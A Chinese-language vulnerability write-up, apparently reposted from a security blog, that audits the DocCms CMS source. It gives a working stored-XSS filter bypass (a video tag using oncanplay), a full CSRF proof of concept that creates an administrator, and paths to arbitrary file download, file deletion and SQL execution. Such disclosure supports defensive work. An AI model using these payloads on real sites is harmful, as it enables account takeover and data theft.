1. 程式人生 > >DocCms存儲型XSS+後臺任意文件下載上傳+目錄刪除+sql執行(有條件可getshell)

DocCms存儲型XSS+後臺任意文件下載上傳+目錄刪除+sql執行(有條件可getshell)

htaccess upload original title ann star logs lec ssp

下載鏈接

https://share.weiyun.com/46ebceb4fe91da144ad2661522a941e1

留言處存儲型XSS

漏洞在content/guestbook/index.php

function create()
{
    echo 123;
    global $db,$request;
    if ($_SESSION[‘verifycode‘] != $request[‘checkcode‘])
    {
        echo ‘<script>alert("請正確填寫驗證碼!");location.href="javascript:history.go(-1)";</script>‘;
        
exit; } foreach ($request as $k=>$v) { $request[$k]=RemoveXSS($v); } require(ABSPATH.‘/admini/models/guestbook.php‘); $guestbook = new guestbook(); $guestbook->addnew($request); $guestbook->custom=@implode(‘<|@|>‘,$request[‘custom‘]);
$guestbook->dtTime=date(‘Y-m-d H:i:s‘); $guestbook->channelId=$request[‘p‘]; $guestbook->ip=$_SERVER[‘REMOTE_ADDR‘]; $guestbook->uid=$_SESSION[TB_PREFIX.‘user_ID‘]; if($guestbook->save()) { if(guestbookISON) { sys_mail(‘ 留言提醒‘,‘最新留言提醒:您的網站:<a href="http://‘.WEBURL.‘">‘.WEBURL.‘</a> 有最新留言,請及時前往審核回復!‘); }
echo ‘<script>alert("恭喜,您的留言已提交成功,工作人員會及時回復!");window.location.href="‘.sys_href($request[‘p‘]).‘";</script>‘; exit; } else { echo ‘<script>alert("對不起,系統錯誤,您的留言未能及時提交,請電話與我們聯系。");window.location.href="‘.sys_href($request[‘p‘]).‘";</script>‘; exit; } }

跟進RemoveXSS函數

//inc/function.php 505-507行
$ra1 = Array(‘javascript‘, ‘vbscript‘, ‘expression‘, ‘applet‘, ‘meta‘, ‘xml‘, ‘blink‘, ‘link‘, ‘style‘, ‘script‘, ‘embed‘, ‘object‘, ‘iframe‘, ‘frame‘, ‘frameset‘, ‘ilayer‘, ‘layer‘, ‘bgsound‘, ‘title‘, ‘base‘); 
$ra2 = Array(‘onabort‘, ‘onactivate‘, ‘onafterprint‘, ‘onafterupdate‘, ‘onbeforeactivate‘, ‘onbeforecopy‘, ‘onbeforecut‘, ‘onbeforedeactivate‘, ‘onbeforeeditfocus‘, ‘onbeforepaste‘, ‘onbeforeprint‘, ‘onbeforeunload‘, ‘onbeforeupdate‘, ‘onblur‘, ‘onbounce‘, ‘oncellchange‘, ‘onchange‘, ‘onclick‘, ‘oncontextmenu‘, ‘oncontrolselect‘, ‘oncopy‘, ‘oncut‘, ‘ondataavailable‘, ‘ondatasetchanged‘, ‘ondatasetcomplete‘, ‘ondblclick‘, ‘ondeactivate‘, ‘ondrag‘, ‘ondragend‘, ‘ondragenter‘, ‘ondragleave‘, ‘ondragover‘, ‘ondragstart‘, ‘ondrop‘, ‘onerror‘, ‘onerrorupdate‘, ‘onfilterchange‘, ‘onfinish‘, ‘onfocus‘, ‘onfocusin‘, ‘onfocusout‘, ‘onhelp‘, ‘onkeydown‘, ‘onkeypress‘, ‘onkeyup‘, ‘onlayoutcomplete‘, ‘onload‘, ‘onlosecapture‘, ‘onmousedown‘, ‘onmouseenter‘, ‘onmouseleave‘, ‘onmousemove‘, ‘onmouseout‘, ‘onmouseover‘, ‘onmouseup‘, ‘onmousewheel‘, ‘onmove‘, ‘onmoveend‘, ‘onmovestart‘, ‘onpaste‘, ‘onpropertychange‘, ‘onreadystatechange‘, ‘onreset‘, ‘onresize‘, ‘onresizeend‘, ‘onresizestart‘, ‘onrowenter‘, ‘onrowexit‘, ‘onrowsdelete‘, ‘onrowsinserted‘, ‘onscroll‘, ‘onselect‘, ‘onselectionchange‘, ‘onselectstart‘, ‘onstart‘, ‘onstop‘, ‘onsubmit‘, ‘onunload‘); 
$ra = array_merge($ra1, $ra2);
$replacement = substr($ra[$i], 0, 2).‘<x>‘.substr($ra[$i], 2);
不是刪除也不是轉義,這就有趣了,他會在檢測到敏感字符後,在中間會加一個<x>,這種我還是第一次見。不過沒關系,過濾這麽多仍然可以繞過,因為是黑名單過濾,我大javascript豈止這些事件?隨便拿出個繞一繞

像往常一樣輸入XSS代碼然後進入後臺查看過濾了哪些

技術分享

後臺查看源代碼

技術分享

我們插入的代碼是

<script>alert(0)</script>
程序過濾後是:

<sc<x>ript>alert(0)</sc<x>ript> 

經過fuzz後,還有這些關鍵字沒被過濾掉

技術分享

此時oncanplay事件是無疑是最好的,因為他無需交互,打開直接執行代碼,並支持所有瀏覽器

xsspayload:
<video width="0" height="0" oncanplay="(function(){alert(1)})();">
<source src="http://www.runoob.com/try/demo_source/mov_bbb.mp4" type="video/mp4">
</video>

技術分享

任意文件刪除

在模板上傳的地方

index.php?m=system&s=changeskin&a=delete&skinname=doccms_model_1

在admini\controllers\system\changeskin.php 521-530

function deleteFile(){
    global $request;
    $dirPath = get_abs_skin_root().filter_submitpath( $request[‘dirPath‘] );
    if(is_file($dirPath)){
        @unlink($dirPath);
        exit(‘1::delete ok‘);
    }else{
        exit(‘0::Forbidden‘);
    }
}
沒有進行任何過濾 導致可刪除一個目錄下所有文件

任意文件上傳(雞肋)
admini/index.php?m=system&s=changeskin&a=upload_templat
 1 function upload_template()
 2 {
 3     global $error;
 4     //unzip(ABSPATH.‘/‘.SKINROOT,$_FILES["upfile"][tmp_name],$_FILES["upfile"][name])==1;
 5 
 6     //把模版先暫時上傳在系統根目錄的TEMP文件夾裏,解決safe_mode On時無法上傳在環境文件夾下
 7     //suny.2008.10.16
 8     $upload = new Upload(10000,‘/temp/‘);
 9     $fileName = $upload->SaveFile(‘upfile‘);
10     if(is_file(ABSPATH.‘/temp/‘.$fileName))
11     {    //die(ABSPATH.‘/temp/‘.$fileName);
12         if(unzip(ABSPATH.‘/‘.SKINROOT,ABSPATH.‘/temp/‘.$fileName,ABSPATH.‘/temp/‘.$fileName)==1)
13         echo ‘<script language="javascript">alert("安裝成功!");history.back(1);</script>‘;
14         elseif(unzip(ABSPATH.‘/‘.SKINROOT,ABSPATH.‘/temp/‘.$fileName,ABSPATH.‘/temp/‘.$fileName)==0)
15         echo ‘<script language="javascript">alert("安裝失敗!");history.back(1);</script>‘;
16         else
17         echo ‘<script language="javascript">alert("此文件不是ZIP格式!");history.back(1);</script>‘;
18     }
19     else
20     {
21         echo ‘<script language="javascript">alert("文件上傳失敗!");history.back(1);</script>‘;
22     }
23     redirect(‘?m=system&s=changeskin‘);
24 }

第12行上傳後直接就解壓了在skins/目錄生成壓縮包中的文件 不過php沒有執行權限

原因是根目錄.htaccess有限制 測試自己上傳.htaccess 在data目錄下導致服務器500錯誤

也沒有找到任意文件刪除能刪除掉根目錄的文件

CSRF

添加管理員的地方沒有refer和token驗證 所以可以利用csrf

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState(‘‘, ‘‘, ‘/‘)</script>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http:\/\/localhost\/admini\/index.php?m=system&s=userinfo&a=create", true);
        xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8");
        xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=----WebKitFormBoundarytcuE3OVEuZLJP8x4");
        xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.8");
        xhr.withCredentials = true;
        var body = "------WebKitFormBoundarytcuE3OVEuZLJP8x4\r\n" + 
          "Content-Disposition: form-data; name=\"image\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "------WebKitFormBoundarytcuE3OVEuZLJP8x4\r\n" + 
          "Content-Disposition: form-data; name=\"uploadfile\"; filename=\"\"\r\n" + 
          "Content-Type: application/octet-stream\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "------WebKitFormBoundarytcuE3OVEuZLJP8x4\r\n" + 
          "Content-Disposition: form-data; name=\"username\"\r\n" + 
          "\r\n" + 
          "fuckyou\r\n" + 
          "------WebKitFormBoundarytcuE3OVEuZLJP8x4\r\n" + 
          "Content-Disposition: form-data; name=\"pwd\"\r\n" + 
          "\r\n" + 
          "fuckyou\r\n" + 
          "------WebKitFormBoundarytcuE3OVEuZLJP8x4\r\n" + 
          "Content-Disposition: form-data; name=\"repwd\"\r\n" + 
          "\r\n" + 
          "fuckyou\r\n" + 
          "------WebKitFormBoundarytcuE3OVEuZLJP8x4\r\n" + 
          "Content-Disposition: form-data; name=\"nickname\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "------WebKitFormBoundarytcuE3OVEuZLJP8x4\r\n" + 
          "Content-Disposition: form-data; name=\"role\"\r\n" + 
          "\r\n" + 
          "9\r\n" + 
          "------WebKitFormBoundarytcuE3OVEuZLJP8x4\r\n" + 
          "Content-Disposition: form-data; name=\"auditing\"\r\n" + 
          "\r\n" + 
          "0\r\n" + 
          "------WebKitFormBoundarytcuE3OVEuZLJP8x4\r\n" + 
          "Content-Disposition: form-data; name=\"name\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "------WebKitFormBoundarytcuE3OVEuZLJP8x4\r\n" + 
          "Content-Disposition: form-data; name=\"sex\"\r\n" + 
          "\r\n" + 
          "1\r\n" + 
          "------WebKitFormBoundarytcuE3OVEuZLJP8x4\r\n" + 
          "Content-Disposition: form-data; name=\"qq\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "------WebKitFormBoundarytcuE3OVEuZLJP8x4\r\n" + 
          "Content-Disposition: form-data; name=\"msn\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "------WebKitFormBoundarytcuE3OVEuZLJP8x4\r\n" + 
          "Content-Disposition: form-data; name=\"email\"\r\n" + 
          "\r\n" + 
          "[email protected]\r\n" + 
          "------WebKitFormBoundarytcuE3OVEuZLJP8x4\r\n" + 
          "Content-Disposition: form-data; name=\"mtel\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "------WebKitFormBoundarytcuE3OVEuZLJP8x4\r\n" + 
          "Content-Disposition: form-data; name=\"address\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "------WebKitFormBoundarytcuE3OVEuZLJP8x4--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
    </script>
    <form action="#">
      <input type="button" value="Submit request" onclick="submitRequest();" />
    </form>
  </body>
</html>

任意文件下載

在數據庫還原的地方點擊下載

admini/index.php?m=system&s=bakup&a=download&filename=doccms_20170806_520985_1.sql

在admini\controllers\system\bakup.php

function download()
{
    global $request;
    if(!empty($request[‘filename‘]))
    {    //die(ABSPATH.‘/temp/data/‘.$request[‘filename‘]);
        file_down(ABSPATH.‘/temp/data/‘.$request[‘filename‘]);
    }
    else
    {
         echo ‘<script>alert("文件名不能為空!");window.history.go(-1);</script>‘;
    }
}

跟進file_down函數

function file_down($file,$filename=‘‘)
{
    if(is_file($file))
    {
        $filename = $filename ? $filename : basename($file);
        $filetype = fileext($filename);
        $filesize = filesize($file);
        header(‘Cache-control: max-age=31536000‘);
        header(‘Expires: ‘.gmdate(‘D, d M Y H:i:s‘, time() + 31536000).‘ GMT‘);
        header(‘Content-Encoding: none‘);
        //header(‘Content-Length: ‘.$filesize);
        header(‘Content-Disposition: attachment; filename=‘.$filename);
        header(‘Content-Type: ‘.$filetype);
        readfile($file);
    }
    else
    {
        echo ‘<script>alert("文件不存在!");window.history.go(-1);</script>‘;
    }
    exit;
}

沒有進行過濾導致任意文件下載

雞肋任意文件上傳+SQL語句執行

技術分享

數據庫文件上傳的地方

function uploadsql()
{    
    global $request;
    $uploadfile=basename($_FILES[‘uploadfile‘][‘name‘]);
    //die($uploadfile);
    if($_FILES[‘userfile‘][‘size‘]>$request[‘max_file_size‘])
        echo ‘<script>alert("您上傳的文件超出了2M的限制!");window.history.go(-1);</script>‘;
    if(fileext($uploadfile)!=‘sql‘) 
        echo ‘<script>alert("只允許上傳sql格式文件!");window.history.go(-1);</script>‘;
    $savepath = ABSPATH.‘/temp/data/‘.$uploadfile;
    
    if(move_uploaded_file($_FILES[‘uploadfile‘][‘tmp_name‘], $savepath))
    {    //die($savepath);
         echo ‘<script>alert("數據庫SQL腳本文件上傳成功!");window.history.go(-1);</script>‘;
    }
    else
    {
        echo ‘<script>alert("數據庫SQL腳本文件上傳失敗!");window.history.go(-1);</script>‘;
    }
}

只是echo 並沒有exit

這樣還是會上傳成功 然而上傳.php文件還是無法執行

但是在導入的函數的地方

 1 function import()
 2 {
 3     global $db,$request;
 4     $pre=$request[‘pre‘];
 5     if($request[‘dosubmit‘])
 6      { // die("test");
 7         if($request[‘filename‘] && fileext($request[‘filename‘])==‘sql‘)
 8         {
 9             $filepath = ABSPATH.‘/temp/data/‘.$filename;
10             if(!is_file($filepath)) 
11                   echo ‘<script>alert("文件不存在!");window.history.go(-1);</script>‘;
12             $sql = file_get_contents($filepath);
13             die($sql);
14             sql_execute($sql);
15               echo ‘<script>alert("‘.$filename.‘中的數據已經成功導入到數據庫!");window.history.go(-1);</script>‘;
16         }
17         else
18         {    //die("test");
19             $fileid = isset($request[‘fileid‘]) ? $request[‘fileid‘] : 1;
20             $filename = $request[‘pre‘].$fileid.‘.sql‘;
21             $filepath = ABSPATH.‘/temp/data/‘.$filename;
22             //die($filepath);
23             if(is_file($filepath))
24             {
25                 $sql = file_get_contents($filepath);//將整個文件讀入一個字符串
26                 //die($sql);
27                 sql_execute($sql);
28                 $fileid++;
29                 echo ‘<script>alert("數據文件‘.$filename.‘導入成功!");window.location.href="?m=system&s=bakup&a=import&pre=‘.$pre.‘&fileid=‘.$fileid.‘&dosubmit=1";</script>‘;        
30                         
31             }
32             else
33             {
34                 echo ‘<script>alert("數據庫恢復成功!");window.location.href="?m=system&s=bakup&a=import";</script>‘;
35             }
36         }
37      }
38 }

17-27行的意思就是 讀取.sql文件中的語句 然後逐行執行

這樣我們可以上傳.sql文件 裏面寫著寫一句話的語句 如果有root權限的話可以拿shell

如果不是root權限 可以利用sql時間盲註操作(如果有搞數據庫數據的必要 或者 可以拿來留xss後門)

DocCms存儲型XSS+後臺任意文件下載上傳+目錄刪除+sql執行(有條件可getshell)